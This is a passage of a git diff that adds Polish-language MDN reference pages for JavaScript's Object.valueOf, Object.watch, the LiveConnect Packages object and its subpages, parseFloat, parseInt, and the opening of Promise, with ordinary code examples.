id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<ul> + <li>{{jsxref("Object.watch()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html new file mode 100644 index 0000000000..db3cf7a346 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html @@ -0,0 +1,63 @@ +--- +title: Object.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/Object/valueOf +tags: + - JavaScript + - Method + - Object + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf +--- +<p>{{jsRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca wartość podstawową danego obiektu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>object</var>.valueOf()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>JavaScript wywołuje metodę <code>valueOf()</code> by przekonwertować obiekt do wartości podstawowej. Metodę <code>valueOf</code> rzadko wykorzystuje się w pisanych programach, zazwyczaj JavaScript wywołuje ją automatycznie, kiedy oczekując wartości podstawowej napotka obiekt.</p> + +<p>Domyślnie metoda <code>valueOf()</code> jest dziedziczona przez każdy obiekt potomny obiektu {{jsxref("Object")}}. Każdy wbudowany obiekt jądra JavaScriptu przesłania tę metodą by zwracała właściwą wartość. Jeśli obiekt nie ma wartości podstawowej, <code>valueOf()</code> zwraca sam obiekt, który jest wyświetlany jako:</p> + +<pre>[object Object] +</pre> + +<p>We własnych programach można oczywiście używać metody <code>valueOf</code> do konwersji obiektów na wartości podstawowe. Kiedy użytkownik tworzy własne obiekty, może przesłonić metodę <code>valueOf()</code> własną wersją.</p> + +<h3 id="Przes.C5.82anianie_metody_valueOf_dla_w.C5.82asnych_obiekt.C3.B3w" name="Przes.C5.82anianie_metody_valueOf_dla_w.C5.82asnych_obiekt.C3.B3w">Przesłanianie metody <code>valueOf</code> dla własnych obiektów</h3> + +<p>Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody <code>valueOf</code>. Taka funkcja nie powinna mieć argumentów.</p> + +<p>Załóżmy, że mamy typ obiektowy <code>MojTypLiczbowy</code> i chcemy utworzyć dla niego metodę <code>valueOf</code>. Poniższy kod przypisuje zdefiniowaną przez użytkownika funkcję do metody <code>valueOf</code> obiektu:</p> + +<pre class="brush: js">MojTypLiczbowy.prototype.valueOf = new Function(tekstFunkcji); +</pre> + +<p>Dzięki powyższej instrukcji za każdym razem, kiedy obiekt typu <code>MojTypLiczbowy</code> jest używany w kontekście wartości prostej, JavaScript automatycznie wywoła funkcję zdefiniowaną powyżej.</p> + +<p>Metoda <code>valueOf</code> obiektu jest zwykle wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie:</p> + +<pre class="brush: js">mojaLiczba.valueOf(); +</pre> + +<h3 id="Uwaga" name="Uwaga">Uwaga</h3> + +<p>Obiekty używane w kontekście łańcucha znaków konwertowane są przy użyciu metody <code><a href="/pl/docs/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/toString">toString</a></code>, co różni się od konwertowania obiektów <code>String</code> do prostych łańcuchów znaków poprzez <code>valueOf</code>. Wszystkie obiekty posiadają konwersję do łańcucha znaków, choćby <code>[object + <i>typ</i> + ]</code>. Ale wiele obiektów nie posiada domyślnej konwersji do liczby, wartości logicznej lub funkcji.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toString()")}}</li> + <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/watch/index.html b/files/pl/web/javascript/referencje/obiekty/object/watch/index.html new file mode 100644 index 0000000000..f13e38aaa1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/watch/index.html @@ -0,0 +1,78 @@ +--- +title: Object.prototype.watch() +slug: Web/JavaScript/Referencje/Obiekty/Object/watch +tags: + - JavaScript + - Method + - Non-standard + - Object + - Prototype +translation_of: Archive/Web/JavaScript/Object.watch +--- +<p>{{JSRef}}{{ Non-standard_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Obserwuje własność obiektu i wywołuje funkcję, kiedy nastąpi przypisanie wartości do tej własności.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>obj.watch(<i>wlasnosc</i> , +<i>monitor</i>) </code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>wlasnosc</code> </dt> + <dd>Nazwa obserwowanej własności obiektu.</dd> +</dl> + +<dl> + <dt><code>monitor</code> </dt> + <dd>Funkcja, która ma zostać wywołana przy zmianie własności.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obserwuje własność <code>wlasnosc</code> danego obiektu i wywołuje <code>monitor(wlasnosc, stara_wartosc, nowa_wartosc)</code> kiedy tylko <code>wlasnosc</code> jest ustawiana. Funkcja monitorująca może filtrować (lub zerować <span class="nowiki">[ang. 'nullify']</span>) przypisanie wartości, zwracając zmodyfikowaną <code>nowa_wartosc</code> (lub <code>stara_wartosc</code>).</p> + +<p>Jeśli zostanie usunięta własność, która miała funkcję monitorującą, ta funkcja monitorująca nie znika. Jeśli później własność ta zostanie odtworzona, funkcja monitorująca ciągle działa.</p> + +<p>Aby usunąć funkcję monitorującą, należy użyć metody {{jsxref("Object.unwatch", "unwatch()")}} Domyślnie metoda <code>watch</code> jest dziedziczona przez każdy obiekt pochodzący od {{jsxref("Object")}}.</p> + +<p>Debuger JavaScriptu posiada możliwości podobne do tych dostarczonych przez metodę <code>watch</code>, jak również wiele innych narzędzi przydatnych podczas analizy kodu. Więcej informacji można znaleźć na stronie <a href="/pl/docs/Venkman">Venkman</a>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_watch_i_unwatch" name="Przyk.C5.82ad:_Zastosowanie_watch_i_unwatch">Przykład: Zastosowanie <code>watch</code> i <code>unwatch</code></h3> + +<pre class="brush: js">var o = {p:1}; +o.watch("p", + function (id,oldval,newval) { + document.writeln("o." + id + " zmieniona z " + + oldval + " na " + newval); + return newval; + }); + +o.p = 2; +o.p = 3; +delete o.p; +o.p = 4; + +o.unwatch('p'); +o.p = 5; +</pre> + +<p>Powyższy skrypt wyświetla:</p> + +<pre>o.p zmieniona z 1 na 2 +o.p zmieniona z 2 na 3 +o.p zmieniona z undefined na 4 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.unwatch()")}}</li> + <li>{{jsxref("Object.observe()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/packages/index.html b/files/pl/web/javascript/referencje/obiekty/packages/index.html new file mode 100644 index 0000000000..a676a3f297 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/packages/index.html @@ -0,0 +1,50 @@ +--- +title: Packages +slug: Web/JavaScript/Referencje/Obiekty/Packages +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/Packages +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Obiekt najwyższego rzędu umożliwiający dostęp do klas języka Java z poziomu kodu JavaScriptu. +</p> +<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3> +<p>Obiekt <code>Packages</code> jest predefiniowanym obiektem najwyższego rzędu. Dostęp do niego nie wymaga stosowania konstruktora ani wywoływania żadnych metod. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>Packages</code> pozwala na dostęp do publicznych metod i pól klas języka Java z poziomu kodu w JavaScripcie. Własności <code>java</code>, <code>netscape</code> i <code>sun</code> odpowiadają pakietom <code>java.*</code>, <code>netscape.*</code> i <code>sun.*</code>. Aby uzyskać dostęp do klas, metod i pól w tych pakietach można stosować standardową notację Javy. Na przykład, aby wywołać konstruktor klasy <code>Frame</code> można wykonać poniższy kod: +</p> +<pre>var ramka = new Packages.java.awt.Frame(); +</pre> +<p>Dla wygody programisty JavaScript dostarcza trzech obiektów najwyższego poziomu: <code>netscape</code>, <code>sun</code> i <code>java</code>, które stanowią synonimy dla odpowiednich własności obiektu Packages. Dlatego też z tych pakietów można korzystać bez użycia słowa Packages: +</p> +<pre>var ramka = new java.awt.Frame(); +</pre> +<p>Własność <code><i>nazwaKlasy</i></code> reprezentuje pełną kwalifikowaną nazwę dowolnej innej klasy dostępnej dla JavaScriptu. Aby mieć dostęp do klas poza pakietami <code>netscape</code>, <code>sun</code> i <code>java</code>, należy stosować obiekt <code>Packages</code> +</p> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3> +<p><i><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/nazwaKlasy">nazwaKlasy</a></i>: pełna kwalifikowana nazwa klasy Javy w pakiecie innym niż netscape, java i sun, która jest dostępna dla JavaScriptu. </p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/java">java</a>: Dowolna klasa w pakiecie Javy java.*. </p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/netscape">netscape</a>: Dowolna klasa w pakiecie Javy netscape.*. </p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/sun">sun</a>: Dowolna klasa w pakiecie Javy sun.*. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Funkcja_JavaScriptu_tworz.C4.85ca_okno_dialogowe_Javy" name="Przyk.C5.82ad:_Funkcja_JavaScriptu_tworz.C4.85ca_okno_dialogowe_Javy"> Przykład: Funkcja JavaScriptu tworząca okno dialogowe Javy </h4> +<p>Poniższa funkcja JavaScriptu tworzy okno dialogowe Javy: +</p> +<pre>function utworzOkno() { + var ramka = new Packages.java.awt.Frame(); + var okno = new Packages.java.awt.Dialog(ramka); + okno.setSize(350,200); + okno.setTitle("Witaj, świecie!"); + okno.setVisible(true); +} +</pre> +<p>W powyższym przykładzie funkcja tworzy <code>okno</code> z użyciem obiektu <code>Packages</code>. Metody <code>setSize</code>, <code>setTitle</code> i <code>setVisible</code> są dostępne dla JavaScriptu jako publiczne metody klasy <code>java.awt.Dialog</code>. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Packages", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/Packages" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/packages/java/index.html b/files/pl/web/javascript/referencje/obiekty/packages/java/index.html new file mode 100644 index 0000000000..1bd592f727 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/packages/java/index.html @@ -0,0 +1,49 @@ +--- +title: java +slug: Web/JavaScript/Referencje/Obiekty/Packages/java +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/Packages/java +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Dowolna klasa Javy z pakietu <code>java.*</code>.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td> + </tr> + <tr> + <td>Zaimplementowana w:</td> + <td>JavaScript 1.1, NES2.0</td> + </tr> + </tbody> +</table> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p><code>Packages.java </code></p> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Własność <code>java</code> stosuje się by uzyskać dostęp do dowolnej klasy Javy z pakietu <code>java</code> z poziomu JavaScriptu. Warto pamiętać, że obiekt najwyższego rzędu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/java">java</a></code> jest synonimem <code>Packages.java</code>.</p> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_Packages.java" name="Przyk.C5.82ad:_Zastosowanie_Packages.java">Przykład: Zastosowanie <code>Packages.java</code></h4> + +<p>Poniższy kod wywołuje konstruktor klasy <code>java.awt.Frame</code>:</p> + +<pre>var ramka = new Packages.java.awt.Frame(); +</pre> + +<p>Kod ten można uprościć stosując obiekt najwyższego rzędu <code>java</code>:</p> + +<pre>var ramka = new java.awt.Frame(); +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html b/files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html new file mode 100644 index 0000000000..9ce2d335ef --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html @@ -0,0 +1,41 @@ +--- +title: nazwaKlasy +slug: Web/JavaScript/Referencje/Obiekty/Packages/nazwaKlasy +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/Packages/className +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Pełna kwalifikowana nazwa klasy Javy w pakiecie innym niż <code>netscape</code>, <code>java</code> i <code>sun</code>, która jest dostępna dla JavaScriptu. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1, NES2.0</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +Packages.<i>nazwaKlasy</i> +</code> +</p><p>gdzie <code><i>nazwaKlasy</i></code> jest pełną kwalifikowaną nazwą klasy Javy. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Aby uzyskać dostęp do klas Javy poza pakietami <code>netscape</code>, <code>sun</code> i <code>java</code>, należy stosować własność <code><i>nazwaKlasy</i></code> pakietu <code>Packages</code>. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Stosowanie_Packages.nazwaKlasy" name="Przyk.C5.82ad:_Stosowanie_Packages.nazwaKlasy"> Przykład: Stosowanie <code>Packages.<i>nazwaKlasy</i></code> </h4> +<p>Poniższy kod wywołuje konstruktor klasy <code>CorbaObject</code> w pakiecie <code>mojaFirma</code> z poziomu JavaScriptu: +</p> +<pre>var obiekt = new Packages.mojaFirma.CorbaObject() +</pre> +<p>W powyższym przykładzie wartością własności <code><i>nazwaKlasy</i></code> jest <code>mojaFirma.CorbaObject</code>, pełna kwalifikowana nazwa klasy <code>CorbaObject</code>. +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Packages/className" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html b/files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html new file mode 100644 index 0000000000..e1ca87b6bd --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html @@ -0,0 +1,35 @@ +--- +title: netscape +slug: Web/JavaScript/Referencje/Obiekty/Packages/netscape +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/Packages/netscape +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Dowolna klasa Javy z pakietu <code>netscape.*</code>.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td> + </tr> + <tr> + <td>Zaimplementowana w:</td> + <td>JavaScript 1.1, NES2.0</td> + </tr> + </tbody> +</table> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p><code>Packages.netscape </code></p> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Własność <code>netscape</code> stosuje się, by uzyskać dostęp do dowolnej klasy Javy z pakietu <code>netscape</code> z poziomu JavaScriptu. Warto pamiętać, że obiekt najwyższego rzędu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/netscape">netscape</a></code> jest synonimem <code>Packages.netscape</code>.</p> diff --git a/files/pl/web/javascript/referencje/obiekty/packages/sun/index.html b/files/pl/web/javascript/referencje/obiekty/packages/sun/index.html new file mode 100644 index 0000000000..d7ab3781a6 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/packages/sun/index.html @@ -0,0 +1,32 @@ +--- +title: sun +slug: Web/JavaScript/Referencje/Obiekty/Packages/sun +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/Packages/sun +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Dowolna klasa Javy z pakietu <code>sun.*</code>. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1, NES2.0</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +Packages.sun +</code> +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Własność <code>sun</code> stosuje się, by uzyskać dostęp do dowolnej klasy Javy z pakietu <code>sun</code> z poziomu JavaScriptu. Warto pamiętać, że obiekt najwyższego rzędu <code>sun</code> jest synonimem <code>Packages.sun</code>. +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Packages/sun" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html b/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html new file mode 100644 index 0000000000..9afb58d074 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html @@ -0,0 +1,68 @@ +--- +title: parseFloat() +slug: Web/JavaScript/Referencje/Obiekty/parseFloat +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Przetwarza argument w postaci łańcucha znaków zwracając liczbę zmiennoprzecinkową.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox">parseFloat(<em>string</em>)</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>string</code> </dt> + <dd>Łańcuch znaków do przetworzenia.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>parseFloat()</code> jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.</p> + +<p><code>parseFloat()</code> przetwarza argument będący łańcuchem znaków i zwraca liczbę zmiennoprzecinkową. Jeśli natknie się na znak inny niż <code>+</code>, <code>-</code>, liczbę (<code>0</code>-<code>9</code>), kropkę dziesiętną ("<code>.</code>") lub wykładnik potęgi, zwraca wartość do tego miejsca i ignoruje dany znak oraz wszystkie dalsze znaki. Dozwolone są spacje na początku i na końcu łańcucha znaków.</p> + +<p>Jeśli pierwszy znak nie może być przekonwertowany do liczby, <code>parseFloat()</code> zwraca <code>NaN</code>.</p> + +<p>W zastosowaniach arytmetycznych, wartość <code>NaN</code> nie jest liczbą w żadnej podstawie wyliczeń (ang. + + <i>radix</i> + ). Aby stwierdzić, czy wynik <code>parseFloat</code> będzie <code>NaN</code>, można wywołać funkcję {{jsxref("isNan", "isNaN()")}}. Jeśli wartość <code>NaN</code> użyta zostanie w operacji arytmetycznej, wynikiem operacji także będzie <code>NaN</code>.</p> + +<p><b>Uwaga:</b> Funkcja <code>parseFloat</code> wymaga, aby punktem dziesiętnym była kropka, a nie przecinek. Zastosowanie przecinka spowoduje pominięcie części ułamkowej.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h2 id="Przyk.C5.82ad:_parseFloat_zwraca_liczb.C4.99" name="Przyk.C5.82ad:_parseFloat_zwraca_liczb.C4.99">Przykład: <code>parseFloat()</code> zwraca liczbę</h2> + +<p>Wszystkie poniższe przykłady zwracają 3.14.</p> + +<pre class="brush: js"><code>parseFloat("3.14"); +<code>parseFloat("314e-2"); +<code>parseFloat("0.0314E+2"); +<code>parseFloat("3.14 więcej znaków nienumerycznych");</code></code></code></code></pre> + +<h3 id="Przyk.C5.82ad:_parseFloat_zwraca_NaN" name="Przyk.C5.82ad:_parseFloat_zwraca_NaN">Przykład: <code>parseFloat()</code> zwraca NaN</h3> + +<p>Poniższy przykład zwraca <code>NaN</code>:</p> + +<pre class="brush: js"><code>parseFloat("FF2");</code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("parseInt", "parseInt()")}}</li> + <li>{{jsxref("Number.parseFloat()")}}</li> + <li>{{jsxref("Number.parseInt()")}}</li> + <li>{{jsxref("isNaN", "isNaN()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/parseint/index.html b/files/pl/web/javascript/referencje/obiekty/parseint/index.html new file mode 100644 index 0000000000..fb05b9fc8e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/parseint/index.html @@ -0,0 +1,112 @@ +--- +title: parseInt() +slug: Web/JavaScript/Referencje/Obiekty/parseInt +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/parseInt +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Przetwarza argument w postaci łańcucha znaków i zwraca liczbę całkowitą typu + <i>integer</i> + , o zadanej podstawie.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox">parseInt(<em>string</em>, <em>radix</em>);</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>string</code> </dt> + <dd>Łańcuch znaków zawierający wartość do przetworzenia.</dd> +</dl> + +<dl> + <dt><code>radix</code> </dt> + <dd>Liczba typu + <i>integer</i> + określająca podstawę powyższego łańcucha (np. 2 - system dwójkowy, 10 - system dziesiętny, przyp. tłum.)</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>parseInt</code> jest funkcją najwyższego poziomu i nie jest związana z żadnym obiektem.</p> + +<p>Funkcja <code>parseInt</code> parsuje jej pierwszy argument, łańcuch znaków, i próbuje zwrócić liczbę całkowitą typu + + <i>integer</i> + o podanej podstawie. Na przykład, podstawa 10 oznacza że liczba w łańcuchu jest liczbą dziesiętną, podstawa 8 - ósemkową, 16 - szesnastkową (heksadecymalną), itd. Dla podstaw większych niż 10, litery alfabetu oznaczają cyfry większe niż 9. Dla przykładu, dla liczb szesnastkowych (o podstawie 16), używane są litery od A do F.</p> + +<p>Jeśli <code>parseInt</code> natknie się na znak nie będący cyfrą o danej podstawie, ignoruje ona ten znak i wszystkie następne znaki, a następnie zwraca wartość przetworzoną do tej pory. <code>parseInt</code> przycina liczby do wartości całkowitych. Początkowe i grupujące spacje są dozwolone.</p> + +<p>Jeśli podstawa nie jest podana lub jest podana jako 0, JavaScript przyjmuje:</p> + +<ul> + <li>Podstawę <code>16</code>, jeśli łańcuch wejściowy zaczyna się od "<code>0x</code>".</li> + <li>Podstawę <code>8</code> jeśli łańcuch wejściowy rozpoczyna się od "<code>0</code>". Ta cecha jest wycofywana.</li> + <li>Podstawę <code>10</code> jeśli łańcuch zaczyna się od jakiejkolwiek innej wartości.</li> +</ul> + +<p>Jeśli pierwszy znak nie może być skonwertowany na liczbę, <code>parseInt</code> zwraca <code>NaN</code>.</p> + +<p>Dla potrzeb arytmetycznych, wartość <code>NaN</code> nie jest liczbą o żadnej podstawie. Możesz wywołać funkcję {{jsxref("isNaN", "isNaN()")}}, by stwierdzić czy wynik <code>parseInt</code> będzie <code>NaN</code>. Jeśli <code>NaN</code> jest podane do jakichkolwiek operacji arytmetycznych, wynikiem tych operacji również będzie <code>NaN</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_parseInt" name="Przyk.C5.82ad:_Zastosowanie_parseInt">Przykład: Zastosowanie <code>parseInt()</code></h3> + +<p>Wszystkie poniższe przykłady zwracają 15:</p> + +<pre class="brush: js"><code>parseInt(" 0xF, 16); +parseInt(" F", 16); +<code>parseInt("17", 8); +<code>parseInt(021, 8); +<code>parseInt(15.99, 10); +<code><code><code><code>parseInt(<code>"FXX123", 16);</code></code></code></code></code></code></code></code></code> +<code><code>parseInt("1111", 2); +<code>parseInt("15*3", 10); +parseInt("15e2", 10); +parseInt("15px", 10); +<code>parseInt("12", 13);</code></code></code></code></pre> + +<p>Wszystkie poniższe przykłady zwracają <strong><code>NaN</code></strong>:</p> + +<pre class="brush: js"><code>parseInt("Hello", 8); // nie jest wcale liczbą</code> +<code>parseInt("546", 2); // te cyfry nie są używane do zapisu liczb binarnych</code></pre> + +<p>Wszystkie poniższe przykłady zwracają <strong>-15</strong>:</p> + +<pre class="brush: js"><code><code><code><code>parseInt("-F", 16); +parseInt("-0F", 16); +parseInt("-0XF", 16);</code></code></code></code> +parseInt("-15.1, 10); +parseInt(" -17", 8); +parseInt(" -15", 10); +parseInt("-1111", 2); +parseInt("-15e1", 10); +parseInt("-12", 13); +</pre> + +<p>Wszystkie poniższe przykłady zwracają <strong>224</strong>:</p> + +<pre class="brush: js"><code><code><code><code>parseInt("0e0", 16);</code></code></code></code></pre> + +<p> </p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("parseFloat", "parseFloat()")}}</li> + <li>{{jsxref("Number.parseFloat()")}}</li> + <li>{{jsxref("Number.parseInt()")}}</li> + <li>{{jsxref("isNaN", "isNaN()")}}</li> + <li>{{jsxref("Number.toString()")}}</li> + <li>{{jsxref("Object.valueOf")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/promise/index.html b/files/pl/web/javascript/referencje/obiekty/promise/index.html new file mode 100644 index 0000000000..3da2498ca1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/promise/index.html @@ -0,0 +1,256 @@ +--- +title: Promise +slug: Web/JavaScript/Referencje/Obiekty/Promise +tags: + - JavaScript + - Obietnice +translation_of: Web/JavaScript/Reference/Global_Objects/Promise +--- +<div>{{JSRef}}</div> + +<p>Obiekt <strong><code>Promise</code></strong> reprezentuje ewentualne zakończenie (lub porażkę) asynchronicznej operacji i jej wartości.</p> + +<div class="note"> +<p>Artykuł opisuje konstruktor, metody i właściwości obiektu <code>Promise</code>. By nauczyć się jak działają obietnice i jak można ich używać zalecamy przeczytać najpierw <a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Użycie obietnic</a> . Ten konstruktor jest głównie używany do opakowania funkcji, które nie wspierają jeszcze obietnic.</p> +</div> + +<div>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</div> + +<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do interaktywnego projektu sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij do nas pull request.</p> + +<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do interaktywnego projektu sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij do nas pull request.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js notranslate">new Promise( /* wykonawca */ function(resolve, reject) { ... } );</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>wykonawca (executor)</dt> + <dd>Funkcja przekazywana z argumentami <code>resolve</code> i <code>reject</code>. Funkcja ta wykonywana jest natychmiast przez implementację obietnicy, przekazując funkcje <code>resolve</code> i <code>reject</code> (ta funkcja jest wywoływana, zanim konstruktor Promise zwróci utworzony obiekt). Funkcje <code>resolve</code> i <code>reject</code> , gdy są wywoływane, odpowiednio rozwiązują lub odrzucają obietnicę. Ta funkcja zwykle inicjuje pracę asynchroniczną, a następnie, po jej zakończeniu, wywołuje funkcję <code>resolve</code> w celu rozwiązania obietnicy lub odrzuca ją, jeśli wystąpił błąd. Jeśli błąd zostanie zgłoszony w tej funkcji, obietnica zostaje odrzucona. Wartość zwracana tej funkcji jest ignorowana.</dd> +</dl> + +<h2 